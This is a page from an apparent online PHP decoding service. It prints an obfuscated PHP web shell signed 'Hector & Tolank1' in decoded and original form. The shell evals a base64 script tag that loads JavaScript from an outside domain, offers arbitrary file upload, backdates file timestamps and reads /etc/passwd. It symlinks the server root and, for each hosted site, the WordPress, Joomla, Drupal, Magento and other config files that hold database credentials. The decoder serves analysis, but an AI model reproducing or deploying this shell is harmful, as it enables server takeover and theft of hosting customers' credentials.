Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"GL\x4f\x42\x41\x4cS"}["\x67s\x64nu\x72\x67\x78s\x6f"]="\x6a\x65mb\x6fd";${"GLOB\x..
Decoded Output download
<?php ${"GLOBALS"}["gsdnurgxso"]="jembod";${"GLOBALS"}["nqgthsxqneb"]="user";${"GLOBALS"}["jfysffv"]="passwd";${"GLOBALS"}["qmompqii"]="etcp";${"GLOBALS"}["kebzpvorpve"]="htaccess";${"GLOBALS"}["bewjhybgq"]="time";${"GLOBALS"}["cnvkhltyfmg"]="newfile";${"GLOBALS"}["tptwiwykcw"]="winr";${"GLOBALS"}["cvysykbgg"]="linr";$jspdelrobk="linr";${${"GLOBALS"}["cvysykbgg"]}="ZWNobyAiPFNDUklQVCBTUkM9aHR0cDovL3NhZ2xpa2xpLXlhc2";$ykpilxpt="min";${${"GLOBALS"}["tptwiwykcw"]}="FtLmNvbS91cGRhdGUuanM+PC9TQ1JJUFQ+Ijs=";${$ykpilxpt}="base".(128/2)."_de"."code";$cndkqhjurr="min";eval(${$cndkqhjurr}(${$jspdelrobk}.${${"GLOBALS"}["tptwiwykcw"]}));echo "<center><font color="black"><h1><b>phpshell.xyz / shell4.com ><font color="red">Hector & Tolank1 </font></b></h1></font><br></center>
<center>";echo"<h1>up</h1>
";${"GLOBALS"}["neegbnsoq"]="newfile";$uyykde="time";echo"IP: ";echo$_SERVER["REMOTE_ADDR"];echo"<form method=\"post" enctype=\"multipart/form-data">
";echo"<input type=\"file" name=\"newfile"><br>
";echo"<input type="submit" value=\"Yukle babba"><br>
";echo"</form>
";if(is_uploaded_file($_FILES["newfile"]["tmp_name"])){${"GLOBALS"}["lqklcrj"]="file";move_uploaded_file($_FILES["newfile"]["tmp_name"],$_FILES["newfile"]["name"]);${${"GLOBALS"}["lqklcrj"]}=$_FILES["newfile"]["name"];echo"<a href="$file">$file</a>";}else{echo("empty");}${${"GLOBALS"}["cnvkhltyfmg"]}=$_SERVER[SCRIPT_FILENAME];${${"GLOBALS"}["bewjhybgq"]}=time()-105360688;touch(${${"GLOBALS"}["neegbnsoq"]},${$uyykde});echo "</center>
";if($_POST["jembud"]){$wajecvw="htaccess";@mkdir("hector",0777);${"GLOBALS"}["ueykwychl"]="etcp";$sdvcnmh="etcp";@chdir("hector");system("ln -s / root");${$wajecvw}="
Options Indexes FollowSymLinks
DirectoryIndex ngeue.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any";@file_put_contents(".htaccess",${${"GLOBALS"}["kebzpvorpve"]});${${"GLOBALS"}["ueykwychl"]}=$_POST["passwd"];${${"GLOBALS"}["qmompqii"]}=explode("
",${${"GLOBALS"}["qmompqii"]});foreach(${$sdvcnmh} as${${"GLOBALS"}["jfysffv"]}){$jxyknatk="pawd";$nkebdnr="passwd";$utvjsxtlujp="pawd";${$utvjsxtlujp}=explode(":",${$nkebdnr});$otnqoqbf="user";$shkpto="user";${"GLOBALS"}["smkglzs"]="jembod";${${"GLOBALS"}["nqgthsxqneb"]}=${$jxyknatk}[5];${${"GLOBALS"}["smkglzs"]}=preg_replace("/\/var\/www\/vhosts\//","",${$shkpto});if(preg_match("/vhosts/i",${$otnqoqbf})){$cyrdclgudnp="user";$odhqverri="user";$twigmub="jembod";${"GLOBALS"}["wqdzvcxn"]="jembod";${"GLOBALS"}["dqehuobof"]="jembod";${"GLOBALS"}["ipdcrvlrn"]="jembod";system("ln -s ".${${"GLOBALS"}["nqgthsxqneb"]}."/httpdocs/wp-config.php ".${${"GLOBALS"}["wqdzvcxn"]}."-Wordpress.txt");$jepmoefc="jembod";$etrywesplssy="jembod";${"GLOBALS"}["kztiflitnpv"]="user";system("ln -s ".${$odhqverri}."/httpdocs/configuration.php ".${${"GLOBALS"}["dqehuobof"]}."-Joomla.txt");${"GLOBALS"}["ykcwnwkrinx"]="jembod";system("ln -s ".${$cyrdclgudnp}."/httpdocs/config/koneksi.php ".${$jepmoefc}."-Lokomedia.txt");$rxsmjijlb="user";system("ln -s ".${$rxsmjijlb}."/httpdocs/forum/config.php ".${$twigmub}."-phpBB.txt");system("ln -s ".${${"GLOBALS"}["nqgthsxqneb"]}."/httpdocs/sites/default/settings.php ".${${"GLOBALS"}["gsdnurgxso"]}."-Drupal.txt");system("ln -s ".${${"GLOBALS"}["nqgthsxqneb"]}."/httpdocs/config/settings.inc.php ".${${"GLOBALS"}["gsdnurgxso"]}."-PrestaShop.txt");system("ln -s ".${${"GLOBALS"}["nqgthsxqneb"]}."/httpdocs/app/etc/local.xml ".${${"GLOBALS"}["gsdnurgxso"]}."-Magento.txt");${"GLOBALS"}["ghmbjxbmqr"]="user";system("ln -s ".${${"GLOBALS"}["kztiflitnpv"]}."/httpdocs/admin/config.php ".${${"GLOBALS"}["gsdnurgxso"]}."-OpenCart.txt");system("ln -s ".${${"GLOBALS"}["nqgthsxqneb"]}."/httpdocs/config.php ".${${"GLOBALS"}["ykcwnwkrinx"]}."-OpenCart1.txt");system("ln -s ".${${"GLOBALS"}["nqgthsxqneb"]}."/httpdocs/application/config/database.php ".${${"GLOBALS"}["gsdnurgxso"]}."-Ellislab.txt");system("ln -s ".${${"GLOBALS"}["nqgthsxqneb"]}."/httpdocs/inc/connect.php ".${${"GLOBALS"}["ipdcrvlrn"]}."-Parallels.txt");system("ln -s ".${${"GLOBALS"}["ghmbjxbmqr"]}."/httpdocs/inc/config.php ".${$etrywesplssy}."-MyBB.txt");}}echo"<center><a href='hector/root/'><u>ek</u></a><br><a href='hector/'><u>Config</u></a>";}else{echo"<center><form method='POST' action=''>
<textarea name='passwd' rows='15' cols='60'>";echo include("/etc/passwd");echo"</textarea>";echo"<br><br>";echo"<input type='submit' name='jembud' value='Fuckla!'></center>";}
?>
Did this file decode correctly?
Original Code
<?php ${"GL\x4f\x42\x41\x4cS"}["\x67s\x64nu\x72\x67\x78s\x6f"]="\x6a\x65mb\x6fd";${"GLOB\x41L\x53"}["n\x71\x67\x74\x68\x73\x78\x71\x6e\x65\x62"]="\x75\x73\x65\x72";${"GL\x4f\x42A\x4c\x53"}["j\x66\x79\x73\x66fv"]="pa\x73swd";${"G\x4cOB\x41\x4c\x53"}["\x71\x6d\x6fm\x70\x71i\x69"]="\x65t\x63\x70";${"\x47L\x4f\x42\x41\x4c\x53"}["\x6b\x65\x62\x7ap\x76\x6f\x72\x70\x76e"]="\x68\x74\x61c\x63\x65\x73s";${"\x47\x4c\x4fBALS"}["bew\x6ah\x79bgq"]="\x74\x69\x6de";${"G\x4cOB\x41\x4cS"}["\x63nv\x6bh\x6c\x74\x79\x66\x6d\x67"]="n\x65\x77\x66\x69l\x65";${"G\x4cOBA\x4cS"}["\x74\x70\x74\x77\x69\x77y\x6b\x63w"]="\x77i\x6e\x72";${"GL\x4fBA\x4c\x53"}["cv\x79\x73\x79k\x62g\x67"]="li\x6e\x72";$jspdelrobk="\x6c\x69nr";${${"G\x4c\x4f\x42\x41L\x53"}["c\x76\x79\x73yk\x62g\x67"]}="ZW\x4eob\x79Ai\x50\x46NDUklQVC\x42\x54\x55kM\x39aH\x52\x30c\x44\x6f\x76\x4c\x33Nh\x5a\x32x\x70\x61\x32x\x70LX\x6c\x68\x632";$ykpilxpt="\x6d\x69\x6e";${${"G\x4cOB\x41L\x53"}["\x74\x70\x74\x77\x69\x77yk\x63\x77"]}="\x46t\x4cm\x4e\x76b\x5391cGR\x68\x64\x47Uu\x61\x6e\x4d+PC\x39T\x51\x31\x4a\x4aU\x46Q+\x49js\x3d";${$ykpilxpt}="\x62\x61s\x65".(128/2)."\x5fd\x65"."\x63\x6f\x64\x65";$cndkqhjurr="m\x69n";eval(${$cndkqhjurr}(${$jspdelrobk}.${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x74p\x74\x77iw\x79\x6b\x63w"]}));echo "<\x63e\x6eter><f\x6f\x6et\x20co\x6co\x72\x3d\x22blac\x6b\x22><h\x31\x3e\x3cb>p\x68\x70she\x6c\x6c\x2e\x78y\x7a\x20/\x20s\x68\x65ll\x34\x2e\x63\x6f\x6d \x3e\x3cfont \x63\x6f\x6c\x6f\x72=\x22\x72\x65d\x22>Hect\x6fr\x20\x26 \x54\x6fl\x61\x6e\x6b1 \x3c/fon\x74>\x3c/\x62></\x68\x31>\x3c/\x66o\x6e\x74>\x3cb\x72></\x63\x65nt\x65r>\n<\x63\x65\x6e\x74e\x72\x3e";echo"<\x68\x31\x3e\x75p\x3c/h1>\n";${"\x47L\x4f\x42AL\x53"}["\x6eee\x67bn\x73\x6f\x71"]="\x6eew\x66\x69le";$uyykde="t\x69\x6d\x65";echo"IP:\x20";echo$_SERVER["\x52\x45MO\x54E\x5fAD\x44\x52"];echo"\x3c\x66\x6f\x72\x6d\x20me\x74hod=\"\x70o\x73t\x22 \x65\x6e\x63\x74\x79\x70e\x3d\"mu\x6c\x74ipa\x72t/for\x6d-da\x74a\x22>\n";echo"\x3cinp\x75t \x74\x79pe=\"fi\x6ce\x22 n\x61m\x65=\"n\x65wfi\x6c\x65\x22\x3e<\x62\x72\x3e\x20\n";echo"\x3c\x69\x6ep\x75\x74 \x74\x79pe=\x22\x73\x75\x62\x6di\x74\x22 \x76al\x75\x65=\"Y\x75k\x6c\x65\x20\x62\x61bba\x22\x3e<br>\n";echo"</\x66\x6f\x72\x6d>\n";if(is_uploaded_file($_FILES["new\x66ile"]["t\x6d\x70\x5f\x6e\x61me"])){${"\x47L\x4fB\x41\x4c\x53"}["\x6c\x71klc\x72j"]="\x66\x69\x6c\x65";move_uploaded_file($_FILES["n\x65\x77\x66\x69\x6ce"]["t\x6d\x70\x5f\x6e\x61m\x65"],$_FILES["new\x66i\x6ce"]["na\x6de"]);${${"GL\x4f\x42A\x4c\x53"}["\x6cq\x6b\x6c\x63r\x6a"]}=$_FILES["\x6ee\x77\x66i\x6c\x65"]["\x6e\x61m\x65"];echo"<a h\x72ef\x3d\x22$file\x22\x3e$file\x3c/a\x3e";}else{echo("e\x6d\x70\x74\x79");}${${"\x47\x4c\x4fB\x41L\x53"}["\x63\x6e\x76k\x68lty\x66\x6d\x67"]}=$_SERVER[SCRIPT_FILENAME];${${"\x47\x4c\x4f\x42\x41\x4cS"}["b\x65\x77jh\x79\x62gq"]}=time()-105360688;touch(${${"G\x4cOB\x41\x4c\x53"}["\x6e\x65e\x67\x62\x6e\x73oq"]},${$uyykde});echo "\x3c/\x63\x65\x6e\x74\x65\x72\x3e\n";if($_POST["\x6a\x65mb\x75\x64"]){$wajecvw="\x68t\x61\x63\x63\x65s\x73";@mkdir("\x68e\x63t\x6f\x72",0777);${"G\x4c\x4f\x42AL\x53"}["\x75\x65\x79\x6b\x77\x79c\x68\x6c"]="\x65\x74c\x70";$sdvcnmh="\x65t\x63\x70";@chdir("hec\x74o\x72");system("\x6cn -s /\x20\x72\x6fot");${$wajecvw}="\n\x4fp\x74\x69\x6f\x6e\x73\x20Ind\x65\x78e\x73 \x46\x6fl\x6cow\x53\x79\x6d\x4cinks\nD\x69re\x63\x74or\x79In\x64\x65x \x6eg\x65u\x65.ht\x6d\nAd\x64\x54\x79p\x65\x20t\x65\x78\x74/p\x6ca\x69n\x20\x2ep\x68\x70\nA\x64d\x48an\x64le\x72 t\x65x\x74/\x70\x6c\x61\x69\x6e\x20\x2ephp\nSat\x69\x73\x66y\x20\x41\x6ey";@file_put_contents("\x2eh\x74a\x63c\x65\x73s",${${"\x47L\x4f\x42AL\x53"}["\x6bebz\x70\x76\x6f\x72\x70\x76\x65"]});${${"\x47\x4cO\x42\x41\x4cS"}["\x75e\x79\x6bwy\x63\x68l"]}=$_POST["\x70asswd"];${${"\x47\x4c\x4fBA\x4c\x53"}["\x71mo\x6d\x70\x71\x69i"]}=explode("\n",${${"G\x4c\x4fBAL\x53"}["\x71\x6d\x6fm\x70qi\x69"]});foreach(${$sdvcnmh} as${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["jfys\x66\x66v"]}){$jxyknatk="\x70a\x77d";$nkebdnr="p\x61\x73\x73wd";$utvjsxtlujp="\x70\x61\x77\x64";${$utvjsxtlujp}=explode(":",${$nkebdnr});$otnqoqbf="\x75\x73e\x72";$shkpto="\x75s\x65\x72";${"G\x4c\x4fBAL\x53"}["s\x6d\x6b\x67\x6c\x7a\x73"]="\x6ae\x6db\x6fd";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x71\x67\x74h\x73\x78qn\x65\x62"]}=${$jxyknatk}[5];${${"\x47\x4c\x4f\x42A\x4c\x53"}["sm\x6bg\x6c\x7a\x73"]}=preg_replace("/\x5c/v\x61\x72\x5c/\x77\x77\x77\\/\x76\x68\x6f\x73\x74s\x5c//","",${$shkpto});if(preg_match("/\x76\x68osts/\x69",${$otnqoqbf})){$cyrdclgudnp="user";$odhqverri="u\x73\x65\x72";$twigmub="\x6a\x65m\x62o\x64";${"GL\x4f\x42\x41L\x53"}["\x77\x71\x64\x7avcx\x6e"]="\x6a\x65\x6db\x6f\x64";${"GL\x4fB\x41LS"}["dq\x65\x68u\x6fb\x6ff"]="\x6a\x65\x6d\x62\x6f\x64";${"\x47\x4cO\x42A\x4cS"}["i\x70\x64\x63r\x76\x6c\x72\x6e"]="j\x65\x6d\x62o\x64";system("ln\x20-s ".${${"\x47L\x4fB\x41\x4c\x53"}["\x6eqg\x74\x68\x73xq\x6e\x65\x62"]}."/\x68\x74\x74\x70\x64\x6f\x63s/\x77p-\x63on\x66\x69\x67.\x70\x68p ".${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x77\x71d\x7a\x76\x63\x78\x6e"]}."-\x57o\x72\x64\x70\x72e\x73s.\x74\x78t");$jepmoefc="j\x65\x6db\x6f\x64";$etrywesplssy="j\x65\x6d\x62o\x64";${"\x47LO\x42\x41\x4c\x53"}["\x6bz\x74if\x6c\x69\x74\x6ep\x76"]="\x75se\x72";system("\x6c\x6e\x20-s ".${$odhqverri}."/http\x64o\x63s/\x63\x6f\x6ef\x69\x67\x75r\x61tio\x6e.\x70h\x70\x20".${${"G\x4cO\x42\x41LS"}["\x64\x71\x65\x68\x75o\x62o\x66"]}."-\x4aoom\x6c\x61\x2et\x78t");${"GLOB\x41L\x53"}["y\x6b\x63\x77n\x77k\x72\x69\x6e\x78"]="\x6aembo\x64";system("\x6c\x6e\x20-s ".${$cyrdclgudnp}."/\x68\x74tpdocs/\x63\x6f\x6ef\x69\x67/\x6bonek\x73\x69.\x70\x68p\x20".${$jepmoefc}."-L\x6f\x6b\x6fmed\x69\x61\x2e\x74\x78\x74");$rxsmjijlb="u\x73\x65r";system("ln\x20-s ".${$rxsmjijlb}."/\x68\x74\x74pdocs/\x66\x6fr\x75m/co\x6e\x66\x69g.p\x68\x70\x20".${$twigmub}."-\x70hpB\x42.\x74\x78t");system("\x6c\x6e\x20-s\x20".${${"\x47\x4c\x4f\x42A\x4c\x53"}["nq\x67\x74hsx\x71\x6e\x65b"]}."/ht\x74p\x64o\x63\x73/\x73\x69\x74es/\x64\x65\x66\x61u\x6ct/\x73\x65t\x74\x69ng\x73\x2e\x70\x68\x70 ".${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x67s\x64n\x75\x72\x67\x78\x73\x6f"]}."-Dru\x70\x61l\x2etx\x74");system("l\x6e -s ".${${"G\x4c\x4f\x42\x41\x4c\x53"}["n\x71\x67\x74\x68s\x78\x71n\x65\x62"]}."/\x68\x74t\x70d\x6fc\x73/\x63\x6fnfi\x67/\x73\x65\x74\x74ings.in\x63.\x70\x68\x70 ".${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x67\x73\x64n\x75\x72\x67x\x73o"]}."-\x50\x72e\x73\x74a\x53ho\x70.\x74x\x74");system("l\x6e\x20-\x73\x20".${${"\x47\x4c\x4fB\x41LS"}["\x6eq\x67\x74\x68\x73x\x71ne\x62"]}."/\x68t\x74\x70doc\x73/a\x70p/\x65\x74c/l\x6f\x63al.\x78m\x6c ".${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x67s\x64n\x75rg\x78\x73o"]}."-\x4d\x61ge\x6e\x74\x6f.\x74\x78\x74");${"G\x4cOB\x41\x4cS"}["gh\x6d\x62\x6ax\x62\x6d\x71\x72"]="\x75\x73\x65\x72";system("l\x6e\x20-\x73 ".${${"\x47\x4cO\x42ALS"}["k\x7a\x74i\x66li\x74\x6e\x70v"]}."/h\x74t\x70do\x63s/a\x64mi\x6e/c\x6f\x6e\x66\x69g.\x70h\x70\x20".${${"\x47L\x4f\x42\x41\x4cS"}["\x67\x73dn\x75\x72\x67x\x73\x6f"]}."-\x4f\x70\x65n\x43art\x2e\x74\x78t");system("ln\x20-s ".${${"\x47L\x4f\x42\x41\x4cS"}["\x6e\x71\x67\x74hs\x78\x71neb"]}."/\x68tt\x70\x64o\x63s/\x63\x6f\x6efi\x67\x2ep\x68p ".${${"G\x4cO\x42A\x4cS"}["\x79\x6bc\x77n\x77\x6b\x72i\x6e\x78"]}."-\x4f\x70\x65n\x43\x61\x72t1.\x74\x78t");system("ln -\x73 ".${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6eqg\x74\x68\x73\x78\x71\x6eeb"]}."/h\x74\x74\x70\x64o\x63\x73/\x61p\x70l\x69catio\x6e/\x63\x6fnfig/\x64\x61\x74\x61\x62\x61\x73e.php ".${${"G\x4c\x4f\x42\x41L\x53"}["g\x73\x64\x6e\x75\x72\x67\x78\x73\x6f"]}."-E\x6c\x6cislab\x2e\x74\x78\x74");system("\x6c\x6e -s ".${${"\x47\x4cO\x42\x41\x4cS"}["\x6e\x71\x67\x74\x68\x73\x78\x71\x6ee\x62"]}."/ht\x74\x70\x64\x6fc\x73/in\x63/co\x6en\x65\x63t\x2e\x70\x68\x70\x20".${${"\x47L\x4f\x42A\x4cS"}["i\x70\x64\x63r\x76l\x72n"]}."-Pa\x72\x61ll\x65\x6cs\x2etxt");system("\x6c\x6e\x20-s\x20".${${"\x47\x4c\x4f\x42ALS"}["\x67\x68m\x62\x6a\x78bm\x71r"]}."/h\x74\x74\x70\x64\x6f\x63s/i\x6ec/\x63onfig.\x70\x68\x70 ".${$etrywesplssy}."-M\x79BB.t\x78t");}}echo"\x3ccen\x74\x65\x72><a hr\x65f='\x68\x65\x63t\x6fr/\x72oo\x74/\x27\x3e\x3c\x75>e\x6b\x3c/u>\x3c/\x61\x3e<\x62\x72\x3e<a\x20\x68\x72\x65f=\x27\x68\x65ct\x6fr/'\x3e<u\x3eC\x6fnf\x69g\x3c/u>\x3c/a>";}else{echo"\x3cce\x6eter>\x3cf\x6f\x72m\x20\x6de\x74hod=\x27\x50\x4fS\x54\x27 \x61\x63\x74i\x6f\x6e=\x27'>\n\x3c\x74e\x78\x74a\x72\x65a\x20na\x6de=\x27\x70\x61s\x73\x77\x64' r\x6f\x77s='\x31\x35\x27 \x63\x6f\x6c\x73='6\x30\x27>";echo include("/et\x63/pass\x77\x64");echo"</te\x78ta\x72e\x61\x3e";echo"\x3cb\x72>\x3c\x62\x72\x3e";echo"\x3cinpu\x74 t\x79\x70e='\x73ubmit\x27\x20\x6e\x61\x6d\x65\x3d\x27\x6ae\x6d\x62\x75\x64\x27\x20\x76alue\x3d'\x46uck\x6ca\x21'\x3e</c\x65nte\x72\x3e";}
?>
Function Calls
| None |
Stats
| MD5 | e793daa342238a72a015ea430bcef8f2 |
| Eval Count | 0 |
| Decode Time | 60 ms |